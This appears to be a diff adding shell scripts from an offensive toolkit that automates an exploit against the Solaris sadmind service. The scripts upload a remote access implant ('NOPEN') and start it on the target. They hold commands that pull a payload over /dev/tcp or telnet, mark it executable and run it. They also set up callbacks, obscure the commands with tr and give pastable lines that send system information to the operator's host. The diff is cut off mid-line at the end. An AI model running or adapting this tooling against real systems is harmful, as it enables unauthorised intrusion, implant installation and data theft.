LOCAL_IP=$ADDR + [ "$LOCAL_IP" ] && break + done + while [ ! "$LOCAL_IP" ] ; do + echo -en "What is your local/redirector IP address? " + [ "$LOCAL_IP" ] && echo -en "[$LOCAL_IP] " + read ans + [ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \ + LOCAL_IP=$ans + LOCAL_IP=`echo $LOCAL_IP | grepip` + [ "$ans" ] && echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n" + done + INT=" ($INT)" + note "Using $LOCAL_IP$INT for -l local IP argument" + fi + [ "$REMOTE_HOST" ] || usage exit "Error: missing remote host argument" + + # Check for required args + [ -z "$REMOTE_IP" ] && usage exit "Error: missing remote IP (-i)" + [ -z "$REMOTE_HOST" ] && usage exit "Error: missing remote hostname" + [ -z "$SADMIND_ARG" ] && usage exit "Error: missing sadmindPort (-u)" + if [ ! "$CMDOVERRIDE" ] ; then + [ "${REMOTE_DIR:0:1}" = "/" ] || + usage exit "\a\nREMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order." + [ -z "$REMOTE_DIR" ] && usage exit "Error: missing remote directory (-D)" + [ -z "$REMOTE_FNAME" ] && usage exit "Error: missing remote filename (-r)" + [ -z "$LOCAL_IP" ] && usage exit "Error: missing local IP (-l)" + [ -z "$LOCAL_PORT" ] && usage exit "Error: missing local port (-n)" + fi + if [ "${REMOTE_IP:0:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + $SETCOLOR_FAILURE + echo -e "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + echo -en "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a" + $SETCOLOR_NORMAL + read blah + fi + if [ "$TARGETIP" ] ; then + DEFTARGET=$TARGETIP + else + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + fi + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET + if [ "$TARGETIP" ] ; then + # This is set by autoattack which means domainname may still be needed + echo -en "\nEnter domainname to use if any: " + read D + [ "$D" ] && REMOTE_DOMAIN="-d ${D}" + fi + fi + + if [ "$PACKRAT_SCRIPME" ] ; then + [ "$OLDCMD" ] || UUARG="-u" + EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT" + note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0" + fi + if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then + CALLBACKIP="$LOCAL_IP" + else + if [ "$CALLBACK" -a ! "$LOCAL_IP" = "$CALLBACKIP" ] ; then + note "-C argument given for callback--overriding -l local IP from command line: $LOCAL_IP" + fi + fi +# if [ "$REDIRECT" ] ; then +# if [ "$CALLBACK" ] ; then +# note "\n\nYou will need two NOPEN windows on $CALLBACKIP\n" +# fi +# note Here are some pastables: +# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"` +# $SETCOLOR_NORMAL +# echo "FIRST/-tunnel nopen window on $LOCAL_IP:" +# note "\ncd /current/down\n${PASTABLE}" +# note "-tunnel\n\nu ${SADMIND_ARG:3} $ACTUALTARGET\n\nr $LOCAL_PORT\n\ns\n" +# echo "" | nc -w1 -u 127.0.0.1 38787 +# if [ ! "$CALLBACK" ] ; then +# notered "Hit ^C to abort or enter once NOPEN -tunnel window is ready" +# read blah +# fi +# fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=\"-c${CALLBACKIP}:${NOPENPORT}\"" + if [ "$REDIRECT" ] ; then + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"` + [ "$PASTABLE" ] && PASTABLE="\ncd /current/down\n${PASTABLE}" + ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes + if [ "$ITSLOCAL" ] ; then + echo "remote nopen window on $CALLBACKIP AND local listener:" + note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + echo "remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n" +# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"` +# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x55" + + fi + notered -n "Hit ^C to abort or enter once NOPEN callback window is ready" + read blah + else # not redirecting + POSTRUN="noclient -l $NOPENPORT" + fi + else # not callback + RAT_PREARGS=" D=\"-l${NOPENPORT}\"" + if [ "$REDIRECT" ] ; then + POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN2="noclient ${REMOTE_IP}:${NOPENPORT}" + fi + fi + + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOZIP" ] ; then + UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z" + [ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z" + + fi + # this one has more spaces...don't use unless other fails... + CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1${UNCOMPRESS}&& chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\"" + + if [ "$OLDCMD" ] ; then + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + fi + else + CMD="" + $SETCOLOR_NOTE + [ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;" + [ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;" + echo -e "You may want to start something like this locally (YOU do this netcat--it is not automatic):\n" + notered "LOCALLY:" + echo -e " nc -l -p 443" + echo "" + notered "Some pastable examples for the REMOTE end (pick one, or mix and match--up to you):" + echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443" + echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`" + echo "" + while [ ! "$CMD" ] ; do + notered "Enter Commands to run on target (see above examples), separated by \";\".\n" + read CMD + done + note "\nCommands being run: $CMD\n" + fi # if $CMDOVERRIDE + +# this is unused for now--old bs.tn.gr way +OLDOLDCMD="echo \" +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir -p ${REMOTE_DIR} +cd ${REMOTE_DIR} +(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1 +uncompress -f ${REMOTE_FNAME}.Z +chmod 0700 ${REMOTE_DIR}/${REMOTE_FNAME} +PATH=${REMOTE_DIR}${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS} +rm ${SCRIPT} +\" > ${SCRIPT} +/bin/sh ${SCRIPT}" + + if [ ! "$NO_TR" ] ; then + # tr sets + #SET1="'0-}'" + #SET2="'1-~'" + ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&" + THERE=`which permute 2>/dev/null` + if [ ! "$THERE" ] ; then + if [ -x "../bin/permute" ] ; then + export PATH=../bin:$PATH + else + usage exit "FATAL ERROR: No \"permute\" in path." + fi + fi + SET1=`permute "$ALPHA"` + SET2=`permute "$SET1"` + MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`" + UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`" + echo " +munging via: + tr \"$SET1\" \"$SET2\" +and vice versa. + +MUNGED=\"$MUNGED\" + +UNMUNGED=\"$UNMUNGED\" +" + + if [ "$SET1" = "$SET2" ] ; then + echo "SET1=\"$SET1\"" + usage exit "FATAL ERROR. SET1 is the same as SET2." + fi + if [ ! "$UNMUNGED" = "$CMD" ] ; then + echo "$UNMUNGED" > /tmp/UNMUNGED.$$ + echo "$CMD" > /tmp/CMD.$$ + cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$ + wc /tmp/UNMUNGED.$$ /tmp/CMD.$$ + usage "FATAL ERROR. UNMUNGE TEST FAILED" + else + echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n" + fi + + $SETCOLOR_NOTE + echo -e "Running:\n +bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n" + else + notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n" + echo -e "Running:\n +bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"$CMD\"\n" + fi + + if [ "$POSTRUN" ] ; then + echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n" + fi + + notered "Hit ^C to abort or enter to continue" + read blah + if [ "$REDIRECT" ] ; then + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + if [ $ATTEMPT -eq 1 ] ; then +# tunnelcmd c 1 2 + tunnelcmd u $SADMIND_PORT $ACTUALTARGET + else + tunnelcmd c 2 + fi + tunnelcmd r $LOCAL_PORT + tunnelcmd s + fi + while [ 1 ] ; do + # Now check what we can before continuing + echo "" + while [ 1 ] ; do + if [ "$CALLBACK" ] ; then + if [ "$REDIRECT" ] ; then + OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"` + else + OKNRTUN=okeydokey + fi + else + OKNRTUN=okeydokey + fi + [ "$REDIRECT" ] || OKUDP=okeydokey + [ "$REDIRECT" ] && OKUDP=`netstat -an | grep "^udp.*0 0.0.0.0:$SADMIND_PORT "` + OKPACKRAT=`netstat -an | grep "^tcp.*0.0.0.0:$LOCAL_PORT .*LISTEN"` + [ "$CMDOVERRIDE" ] && OKPACKRAT=nevermind + + [ "$OKUDP" ] || notered "No udp/$SADMIND_PORT seen locally in netstat" + if [ ! "$OKNRTUN" ] ; then + notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat" + note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n" + fi + if [ ! "$OKPACKRAT" ] ; then + if [ "$OKUDP" -a "$OKNRTUN" ] ; then + notered "waiting for packrat to start on port $LOCAL_PORT" + else + notered "No packrat seen locally on port $LOCAL_PORT in netstat" + fi + fi + [ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break + + [ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue + unset OKUDP OKNRTUN OKPACKRAT + notered "\a\n\nCANNOT PROCEED" + notered "\a\n\nFix this and either ^C or hit Enter to try again." + read blah + done + rm -f /tmp/bsoutput.$$ + if [ ! "$NO_TR" ] ; then + note "\n\nrunning this locally (using tr remotely):\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\" 2>&1 | tee /tmp/bsoutput.$$\n\n" + bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" 2>&1 | tee /tmp/bsoutput.$$ + else + note "\n\nrunning this locally:\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"$CMD\" 2>&1 | tee /tmp/bsoutput.$$\n\n" + bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c "$CMD" 2>&1 | tee /tmp/bsoutput.$$ + fi + + HOSTERR=`grep "Security exception on host" /tmp/bsoutput.$$ | sed "s/.*Security exception on host //" | sed "s/. USER ACCESS DENIED.*//"` + rm -f /tmp/bsoutput.$$ + [ "$HOSTERR" ] || break + $SETCOLOR_FAILURE + echo -e "\n\nERROR OUTPUT FROM bs!!\n\n" + if [ "-h $HOSTERR" = "$REMOTE_HOST" ] ; then + echo -e "ERROR! Correct host but need different domain (\"$REMOTE_DOMAIN\" failed)." + $SETCOLOR_NORMAL + echo -en "Enter new domain or ^C to abort (hit enter to try no domain at all): " + read ans + REMOTE_DOMAIN="" + [ "$ans" ] && REMOTE_DOMAIN="-d ${ans}" + echo -e "\n\nTrying domain \"$REMOTE_DOMAIN\"\n\n" + else + echo -e "ERROR! Wrong host. They suggest \"$HOSTERR\", so try that." + $SETCOLOR_NORMAL + echo -en "Enter new host or ^C to abort: [$HOSTERR] " + read ans + [ "$ans" ] || ans="$HOSTERR" + REMOTE_HOST="-h ${ans}" + echo -e "\n\nTrying host \"$REMOTE_HOST\"\n\n" + fi + done + + if [ "$POSTRUN" ] ; then + notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more" + notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n" + notered "\nNow running nopen listener with: $POSTRUN\n" + exec $POSTRUN + fi + +# if [ "$REDIRECT" ] ; then +# note "\n\nFor your -tunnel window once all is done:\n\nc 1 2\n\nq\n\n" +# fi + if [ "$POSTRUN2" ] ; then + note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n" + notered NOTE: Listener may not be active until you ^C the netcat upload. + fi +} # end doit procedure + +if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1` +fi +[ "$NOSERVER" ] || NOSERVER=/current/up/noserver + +ATTEMPT=1 +while [ 1 ] ; do + + if [ "$ARGS" ] ; then + OPTIND=1 + doit $ARGS + else + ARGS="${*}" + doit ${*} + fi + + note "\n\n$PROG attempt number $ATTEMPT is complete." + if [ "$CALLBACK" ] ; then + $SETCOLOR_FAILURE + echo -e "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + echo -en "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi + notered "\n\nIf this is your last sploit, you can close down the -tunnel +currently listening on $TUNNELPORT with this at any local prompt: +$COLOR_NORMAL + /current/bin/closetunnel\n\n" + note "\nIf it worked, hit return to exit.\n" + notered -n "Do you want to try again? [N] " + read ans + [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + # echo -e "$usagetext" + + notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way." + notered "If \"tr\" method might have failed, add the -T argument to disable munging." + notered "If still failing after trying -t, -T and -tT, try bs.tn.gr_USE_WHEN_bs.auto_FAILS." + note "\nIf desired, use the -C command to override what commands are executed on target." + note "\nYour previous arguments were:" + echo "$ARGS" + notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use (e.g., add -T if you think \"tr\" failed)." + + read ans + if [ "$ans" ] ; then + ARGS="${ans}" + fi + ATTEMPT=`expr $ATTEMPT + 1` +done +# disabled this for now 20030603 +#if [ "$REDIRECT" ] ; then +# note "Closing down -tunnel ports" +# tunnelcmd c 1 2 +# tunnelcmd q +#fi +ps -efwwww | grep PACKRAT | grep -v grep && \ +notered "\n\nYou need to close packrat window before this one can exit.\n\n" + diff --git a/Linux/bin/bs.auto.old2 b/Linux/bin/bs.auto.old2 new file mode 100755 index 0000000..5bbdff0 --- /dev/null +++ b/Linux/bin/bs.auto.old2 @@ -0,0 +1,598 @@ +#!/bin/sh +# Defaults +PROG=`basename ${0}` +VER="2.5" +ERRSLEEP=0 +TUNNELPORT=`grep "# setting up tunneling on port" /current/etc/autoattacknext.last 2>&1 | awk '{print $7}'` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +# usagetext here so this can be used globally +usagetext=" +Usage: + [E=ratpreargs] [A=ratpostargs] $PROG [options] remoteIP remoteHost \\ + [remoteDomain] \\ + sadmindPort remoteDir remoteName localIP [localPort] + +$PROG uploads and runs NOPEN via ./bs. + +Unless the -T option is used, $PROG uses the remote system's tr program +(see \"man tr\") to unmunge the string sent via bs into the commands we +want him to execute. Detail below. And $PROG will build and show the +munged and unmunged strings, prompting to abort or continue before any +packets are sent. + +If localPort is omitted, $PROG looks for a current port LISTENing and +prompts for confirmation. +$COLOR_FAILURE +NOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!\n +NOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!! +$COLOR_NORMAL +OPTIONS + +-t Use the OLDCMD/telnet/uudecode method instead of the default + CMD/ksh.$COLOR_FAILURE NOTE: This DOES require uudecode.$COLOR_NORMAL +-T Do NOT use tr at all (can be used with or without -t). +-p # Use port # for RAT listen/callback. By default, a random number + is generated and used. +-s # Change delay used for -c to # seconds (must appear before -c). +-l IP Local IP to have NOPEN callback to. (defaults to localIp on + command line. This is the IP NOPEN calls back--see -c below.) +-c Use NOPEN syntax to have RAT callback after a delay (default + delay is $CALLBACKDELAY seconds). Port is random unless -p used. +-z Do NOT use uncomrpess at the far end (so you should not use + compress here). +-C Run specific commands on target, not the usual (you are prompted + for the command string to send). +-P Assume PATH=. will fail so use ./ratname. + +NOTE: The E=ratpreargs is still usable, but ${COLOR_FAILURE}not necessary${COLOR_NORMAL}, since + the default is now to start a random port listener, and -c argument + allows for a NOPEN callback. + + ratpreargs : a string put on remote command line right after + PATH=. and before remoteName (NOTE: If using -l/c + options above this is no longer necessary.) + + ratpostargs : a string put on remote command line after running + remoteName (e.g., \" ; rm sendmail\") + + Command sent to bs will be munged (unless -T is used) from one of: + +OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\" + +CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\" + +OR if -T is used, above will be used but will not be munged at all. + +Syntax (repeated here for readability): + [E=ratpreargs] [A=ratpostargs] $PROG [options] remoteIP remoteHost \\ + [remoteDomain] \\ + sadmindPort remoteDir remoteName localIP [localPort] +" +note() { + $SETCOLOR_NOTE + echo -e "${*}\n" + $SETCOLOR_NORMAL +} +notered() { + $SETCOLOR_FAILURE + echo -e "${*}\n" + $SETCOLOR_NORMAL +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} +usage() { + + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + +doit() { +#echo DBG +#set +#echo DBG + CMDLINE="\nCommandLine: ${0} ${*}" + CALLBACKDELAY=30 + # lab testing? + ifconfig 2>&1 | grep "135.1\.2\." > /dev/null && CALLBACKDELAY=4 + unset NOPENPORT CALLBACKIP CALLBACK OLDCMD NO_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT + unset UNCOMPRESS REDIRECT UUARG + while getopts p:cl:ths:zPvCS:T op; do + case $op in + E) RAT_PREARGS=" $OPTARG";; + A) RAT_POSTARGS=" $OPTARG";; + p) NOPENPORT="$OPTARG";; + l) CALLBACKIP="$OPTARG";; + c) CALLBACK=" callback";; + t) OLDCMD="yes";; + T) NO_TR="yes";; + s) CALLBACKDELAY="$OPTARG";; + z) NOZIP=yes + PACKARGS=" -z" ;; + h) usage exit -h ;; + v) usage exit -v ;; +# r) RAT_NAME="$OPTARG";; + P) DOTSLASH="./";; + C) CMDOVERRIDE=yes ;; + S) SCRIPT="$OPTARG" ;; + esac + done + + [ "$SCRIPT" ] || SCRIPT="...." +# [ "$RAT_NAME" ] || RAT_NAME=sendmail + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOPENPORT" ] ; then + NOPENPORT=`mkrandom -n 2>/dev/null` + fi + if [ ! "$NOPENPORT" ] ; then + usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)" + return + fi + fi + + shift `expr $OPTIND - 1` + + [ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\"" + [ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\"" + echo "" + + REMOTE_IP="-i ${1}" + REMOTE_HOST="-h ${2}" + [ "$HOSTERR" ] && REMOTE_HOST="-h ${HOSTERR}" + [ "$1" = "-v" ] && usage + if [ $# -lt 6 ] ; then + usage exit -h -v "Too few arguments" + fi + + if [ "${4:0:1}" = "/" ] ; then + SADMIND_PORT="-p ${3}" + REMOTE_DIR="${4}" + REMOTE_FNAME="${5}" + LOCAL_IP="${6}" + LOCAL_PORT="${7}" + elif [ "${5:0:1}" = "/" ] ; then + REMOTE_DOMAIN="-d ${3}" + SADMIND_PORT="-p ${4}" + REMOTE_DIR="${5}" + REMOTE_FNAME="${6}" + LOCAL_IP="${7}" + LOCAL_PORT="${8}" + else + usage "\a\nREMOTEDIR ($4 or $5) must start with \"/\". Check # of args and order." + fi + + # show what we were called with + echo -e "$CMDLINE" + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + if [ "$NOPENPORT" ] ; then + note "Using random NOPEN$CALLBACK port $NOPENPORT" + fi + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + + if [ ! "$CMDOVERRIDE" ] ; then + if [ "$TARGETIP" ] ; then + # autoattack mode so yes we want packrat + PACKRAT_SCRIPME=yes + else + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + if [ -e $NOSERVER -a "$NOPACKRAT" = "0" ] ; then + echo -ne "The file /current/up/noserver exists, and you have no LISTENer on port ${LOCAL_PORT}. +Do you want me to start a packrat listener on $LOCAL_PORT in another window for you? [Y] " + read ans + [ ! "$ans" -o "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && \ + PACKRAT_SCRIPME=yes + else + [ "$NOPACKRAT" = "0" ] || notered "No packrat in your path" + notered "YOU MUST have a local LISTEN port on $LOCAL_PORT, and YOU DO NOT have /current/up/noserver\n\ato start one automatically" + sleep 3 + notered "\a\nProceeding, assuming YOU WILL EITHER ABORT OR START LISTENER before continuing\npast next prompt." + fi + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + for i in $PORTS -1 ; do + [ $i -lt 0 ] && break + echo -n "Is $i your localPort for RAT upload (Yes, No, Run a new/fresh one for me)? [R] " + read ans + [ "$ans" ] || break + [ "$ans" = "R" -o "$ans" = "r" ] && i=-1 && break + [ "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && break + done + [ "$ans" = "" ] && i=-1 + [ $i -lt 0 ] || LOCAL_PORT=$i + if [ ! "$LOCAL_PORT" ] ; then + while [ 1 ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + [ ! "$LOCAL_PORT" ] && usage "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + [ "$ALREADYTHERE" ] || break + done + note "Using a random port ($LOCAL_PORT) for local RAT upload listener (packrat)" + if [ -e /current/up/noserver ] ; then + if [ "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + usage "No packrat in your path$COLOR_NORMAL" + fi + else + usage Put correct noserver into /current/up/noserver and try again + return + fi + fi + fi + fi + for pid in `pidof nc` ; do + UULISTEN=`ls -al /proc/$pid/fd | grep \.uu` + if [ "$UULISTEN" ] ; then + usage "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage): + # ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN" + fi + done + fi + + # Check for required args + [ -z "$REMOTE_IP" ] && usage "Error: missing remote IP" + [ -z "$REMOTE_HOST" ] && usage "Error: missing remote hostname" + [ -z "$SADMIND_PORT" ] && usage "Error: missing sadmindPort ($SADMIND_PORT)" + [ -z "$REMOTE_DIR" ] && usage "Error: missing remote directory" + [ -z "$REMOTE_FNAME" ] && usage "Error: missing remote filename" + [ -z "$LOCAL_IP" ] && usage "Error: missing local IP" + [ -z "$LOCAL_PORT" ] && usage "Error: missing local port" + + if [ "${REMOTE_IP:3:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + $SETCOLOR_FAILURE + echo -e "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + echo -en "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a" + $SETCOLOR_NORMAL + read blah + fi + if [ "$TARGETIP" ] ; then + DEFTARGET=$TARGETIP + # This is set by autoattack which means domainname may still be needed + echo -en "\nEnter domainname to use if any: " + read D + [ "$D" ] && REMOTE_DOMAIN="-d ${D}" + else + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + fi + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + fi + + if [ 